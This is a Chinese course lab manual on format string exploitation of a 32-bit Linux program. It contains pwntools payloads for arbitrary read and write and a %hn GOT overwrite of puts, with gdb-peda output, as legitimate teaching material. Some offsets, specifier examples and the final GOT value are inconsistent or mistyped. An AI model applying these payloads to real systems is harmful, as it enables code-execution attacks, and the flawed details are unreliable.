lab8实验手册

一.实验环境

32位linux操作系统，系统中要求安装

- GDB
- GCC
- Python
- Pwntools
- Objdump

其它用到的软件

- IDA

二.项目列表

实验项目表格:

实验名称	包含文件	描述	目标
lab8_1	lab8_1,flag.txt	任意读	利用漏洞读取flag
lab8_2	lab8_2,flag.txt	任意写	利用漏洞获得flag
lab8_3	lab8_3	任意执行	利用漏洞getshell
lab8_4	lab8_4	读写+控制流劫持综合	利用漏洞getshell

三.实验流程

通过Objdump或IDA逆向找到漏洞

- 通过GDB调试，构造完整payload
- 通过pwntools触发漏洞，实现实验目标

四.实验报告要求

参照实验流程，图文结合，给出完整的利用过程描述

- 漏洞位置截图，以及利用原理
- 给出漏洞利用的每一个payload，指明payload是如何构造的，给出GDB调试截图
- 最终的实验结果截图

五.最终提交文件

实验截止日期：2022.12.09 23:59

- 实验报告(PDF)
- 能实现实验目标的脚本及注释

  命名格式：

  压缩包：lab8-学号-姓名.zip

  报告：lab8-学号-姓名.pdf

  脚本：lab[1-4].[c/py/……]

六.示例

6.1 格式化字符串说明符

- %c：输出字符，配上 %n 可用于向指定地址写数据。
- %d：输出十进制整数，配上 %n 可用于向指定地址写数据。
- %x：输出16进制数据，如 %i$x 表示要泄漏偏移i处4字节长的16进制数据，%i$lx 表示要泄漏偏移i处8字节长的16进制数据，32bit和64bit环境下一样。
- %p：输出16进制数据，与 %x 基本一样，只是附加了前缀 0x ，在32bit下输出4字节，在 64bit下输出8字节，可通过输出字节的长度来判断目标环境是32bit还是64bit。
- %s：输出的内容是字符串，即将偏移处指针指向的字符串输出，如 %i$s 表示输出偏移i处地址所指向的字符串，在32bit和64bit环境下一样，可用于读取 GOT 表等信息。
- %n：将%n之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址位置，如 %100×10$n 表示将0x64写入偏移10处保存的指针所指向的地址(4字节)，而 %$hn 表示写入的地址空间为2字节，%$hhn 表示写入的地址空间为1字节，%$lln 表示写入的地址空间为8字节，在32bit和64bit环境下一样。

6.2示例程序

```
[*] '/home/parallels/Desktop/fmstr/write/example2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <err.h>


unsigned int secret = 0xdeadbeef;

void handle_failure(char *buf) {
  char msg[100];
  snprintf(msg, sizeof(msg), "Invalid Password! %s\n", buf);
  printf(msg);
}

int main(int argc, char *argv[])
{
  setreuid(geteuid(), geteuid());
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);

  int tmp = secret;

  char buf[100];
  printf("IOLI Crackme Level 0x00\n");
  printf("Password:");

  fgets(buf, sizeof(buf), stdin);

  if (!strcmp(buf, "250382\n")) {
    printf("Password OK :)\n");
  } else {
    handle_failure(buf);
  }

  if (tmp != secret) {
    puts("The secret is modified!\n");
  }

  return 0;
}
```

程序在使用 printf 时出现问题，printf(msg)，存在格式化字符串漏洞。使用以下代码,通过多个 %p 即可输出栈上的内容。

```
parallels@parallels-vm:~/Desktop/fmstr/write$ echo "1=%p|2=%p|3=%p|4=%p|5=%p|6=%
p|7=%p|8=%p|9=%p|10=%p|11=%p|12=%p|13=%p|14=%p|15=%p"  | ./example2
IOLI Crackme Level 0x00
Password:Invalid Password! 1=0x64|2=0x8048800|3=0xff9dd7c8|4=0xf773da70|5=0x8048
1e8|6=0x1|7=0xff9dd7c8|8=0x804a00c|9=0xf77428a2|10=0x61766e49|11=0x2064696c|12=0
x73736150|13=0x64726f77|14=0x3d312021|15=0x327c7025
```

6.3 格式化字符串任意读

如何读取 secret 变量?

使用payload AAAAAABBBB%$15p 来查看栈布局：

可以看到第3到6个A位于偏移15处，因此将 AAAA 改写成 secret 的地址，即可读取 secret。

```
Breakpoint 1, 0x08048642 in handle_failure ()
gdb-peda$ x/20x $esp
0xffe7e770:     0xffe7e798      0x00000064      0x08048800      0xffe7e838
0xffe7e780:     0xf776ba70      0x080481e8      0x00000001      0xffe7e838
0xffe7e790:     0x0804a00c      0xf77708a2      0x61766e49      0x2064696c
0xffe7e7a0:     0x73736150      0x64726f77      0x41412021      0x41414141
0xffe7e7b0:     0x42424242      0x24353125      0x000a0a70      0xf75e81fd
```

6.4 格式化字符串任意写

通过6.3节可以看到，将 secret 的地址放在15偏移处，通过 %n 或 %hn ， %hhn 进行改写。

```
Breakpoint 1, 0x08048642 in handle_failure ()
gdb-peda$ x/20x $esp
0xffe7e770:     0xffe7e798      0x00000064      0x08048800      0xffe7e838
0xffe7e780:     0xf776ba70      0x080481e8      0x00000001      0xffe7e838
0xffe7e790:     0x0804a00c      0xf77708a2      0x61766e49      0x2064696c
0xffe7e7a0:     0x73736150      0x64726f77      0x41412021      0x41414141
0xffe7e7b0:     0x42424242      0x24353125      0x000a0a70      0xf75e81fd
```

%n介绍：将 %n 之前 printf 已经打印的字符个数赋值给偏移处指针所指向的地址位置，如 %100×10$n 表示将0x64写入偏移10处保存的指针所指向的地址（4字节），而 %$hn 表示写入的地址空间为2字节，%$hhn 表示写入的地址空间为1字节，%$lln 表示写入的地址空间为8字节，在32bit和64bit环境下一样。有时，直接写4字节会导致程序崩溃或等候时间过长，可以通过 %$hn 或 %$hhn 来适时调整。

在此处，我们使用payload:AA+p32(secret)+%100x+%n或AA+p32(secret)+100*'a'+%n对secret进行改写。
使用 GDB 进行调试，在 printf 执行之前， secret 的值和执行后值不同，已经被改写。

```
p.recvuntil('Password:')
raw_input('gdb>')
p.send('AA\x3c\xa0\x04\x08BBBB%100x%15$n')
p.interactive()
```

secret 值被改写为128，因为除了 %100x ，程序还输出了其它字符。

```
0x08048647 in handle_failure ()
gdb-peda$ x/wx 0x804a03c
0x804a03c <secret>:     0x00000080
```

```
Thread 1 "example2" hit Breakpoint 1, 0x08048642 in handle_failure ()
gdb-peda$ x/wx 0x804a03c
0x804a03c <secret>:     0xdeadbeef
```

6.5使用GDB与pwntools配合调试

通过 raw_input ,使执行脚本暂停，再通过gdb attach + 脚本的进程的pid，即可实现调试。

```
p.recvuntil('Password:')
raw_input('gdb>')
p.send('AA\x3c\xa0\x04\x08BBBB%100x%15$n')
p.interactive()
```

推荐安装 gdb-peda 插件：

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

gdb-peda 常见调试命令：

命令	含义
s step，si	步入
b	在某处下断点，可以用 b * adrress b function_name
info b	查看断点信息
delete	删除所有断点
c	继续
disas addr	查看addr处前后的反汇编代码
x	命令格式：x/<n/f/u> <addr> 显示地址
p system/main	显示某个函数地址
p $esp	显示寄存器
vmmap	查看映射状况 peda带有
readelf	查看elf文件中各个段的起始地址 peda带有
parseheap	显示堆状况 peda带有
searchmem	查找字符串 peda带有

6.6 任意执行

在示例中，通过改写 puts() 函数的 GOT 表，实现任意执行。在这个例子中，我们选择将 puts() 的 GOT 表改写成 printf@plt 的地址。

Global Offset Table，简称 GOT，其条目包含一个外部函数指针(例如 libc 中 puts() 或 printf())。动态加载程序（ld）最初加载程序时，GOT 表中会填充静态代码指针，这些指针最终会调用 _dl_runtime_resolve()，将 GOT 表更新为 libc 中的实际地址。

现在来看，程序中调用 puts 函数时的操作，可以看到，程序中调用的函数为puts@plt，它并不是 libc 中的真实地址。

```
080484b0 <puts@plt>:
 80484b0:       ff 25 20 a0 04 08       jmp    *0x804a020
 80484b6:       68 28 00 00 00          push   $0x28
 80484bb:       e9 90 ff ff ff          jmp    8048450 <_init+0x30>
```

第一条指令，跳转到 0x804a020 指向的地址执行。而 0x804a020 即位 puts 的 GOT 表地址。在一次调用 puts 时，GOT 表地址指向 puts@plt+6 的位置。接下来会跳转到 _dl_runtime_resolve() 执行，从而将 puts 的 GOT 表更新为 libc 中的 puts 函数地址。再次调用 puts，GOT 表中的地址已经指向了 libc 。由于示例程序没有开启 RELRO FULL 保护，因此，我们可以通过任意写去 Hijack GOT 表，实现任意执行。

示例程序的 puts 调用位置如图所示：

```
if (tmp != secret) {
  puts("The secret is modified!\n");
}
```

要劫持 puts 函数的 GOT 表，还需要改写 secret 值。在6.3中已经给出了改写的方法。

我们分部分来解析最终payload

‘AA’+p32(0x0804a03c)+p32(0x0804a020)+p32(0x0804a022)

首先是AA填充，加要改写的 secret 地址，以及 GOT 表地址。我们要将 GOT 表的地址改写成 printf@plt 的地址 0x8048470

```
08048470 <printf@plt>:
 8048470:       ff 25 10 a0 04 08       jmp    *0x804a010
 8048476:       68 08 00 00 00          push   $0x8
 804847b:       e9 d0 ff ff ff          jmp    8048450 <_init+0x30>
```

如果直接利用 %n 将 puts 的 GOT 表改写为 0x8048470，程序会因为无法输出如此多字符而崩溃。因此我们将地址拆分成两部分，分别改写前两个字节和后两个字节。

%160x.%15$n.%1860x.%17$hn.%31847x.%16$hn

gdb查看栈上的布局，

```
gdb-peda$ x/20wx $esp
0xff8df2e0:     0xff8df308      0x00000064      0x08048800      0xff8df3a8
0xff8df2f0:     0xf7753a70      0x080481e8      0x00000001      0xff8df3a8
0xff8df300:     0x0804a00c      0xf77588a2      0x61766e49      0x2064696c
0xff8df310:     0x73736150      0x64726f77      0x41412021      0x0804a03c
0xff8df320:     0x0804a020      0x0804a022      0x30363125      0x31252e78
```

要修改的地址位于15，15，17偏移量。

执行完毕后，再查看 puts 的 GOT 表，发现已经被改写成了printf@plt，实现了劫持

```
gdb-peda$ x/wx 0x804a020
0x804a020 <puts@got.plt>:       0x08078470
```